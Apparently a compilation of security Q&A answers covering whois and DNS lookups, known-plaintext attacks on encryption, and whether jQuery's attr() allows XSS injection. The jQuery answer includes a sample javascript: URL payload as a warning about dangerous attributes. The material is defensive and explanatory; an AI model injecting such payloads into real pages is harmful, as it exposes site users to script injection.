Questions about WhoIsData-Requests and IP

In case of accessing the whois data no access will be done to the website in question at all. Instead a lookup is done against some public available databases which are neither in control of target A nor server B. When using B to lookup the whois for A the lookup in the public database will be done by B though which then sends the retrieved result embedded in the HTML page to your browser.

The same is true when looking up the IP address of a hostname using DNS. DNS is essentially a distributed database with several nodes in between which cache results. Even if you do a DNS lookup for the IP of A you don't access A yourself but you only access the configured DNS resolver, which is commonly the one in your router which then forwards the requests to the ISP's DNS resolver. And in your example this is also true for server B: it will just ask its configured DNS server.

The information shown about the owner of the IP address and estimated geographic location are also not retrieved by contacting A but are looked up in public and sometimes commercial databases which might be online or even be stored locally on server B.


I recommend you reading OWASP AJAX Security Guidelines


openssl, recover passphrase with encrypted and not encrypted file

This is known as a known-plaintext attack.  From the Wikipedia article quoted above:

The known-plaintext attack (KPA) is an attack model for cryptanalysis
where the attacker has access to both the plaintext (called a crib),
and its encrypted version (ciphertext). These can be used to reveal
further secret information such as secret keys and code books.

Modern encryption algorithms such as AES are designed to be highly resistant to known-plaintext attacks, however earlier encryption algorithms were susceptible to known-plaintext attacks.  For example, with XOR encryption, it is trivial to find the encryption key given the ciphertext and the plaintext.


Is there a possability to inject XSS into the jQuery attr function?

What jQuery actually does when you use attr(name, value) is to call setAttribute(name, value) on the relevant DOM elements. Not at home in the jQuery source, but I think this is the relevant part. This means that you can not escape out of the attribute context. So it is as safe as vanilla JS is.

What you need to look out for is the following:

Don't let the users control the attribute name - that opens up the door to changing it to something malicious such as onclick. Unless you do whitelisting, only let the user control the value.
Some HTML attributes are inherently dangerous. This includes href, since you can do something like javascript:alert("XSS");. Since you make sure the value will always start with http you should be fine, though. Other examples of dangerous attributes are style and JS event handlers.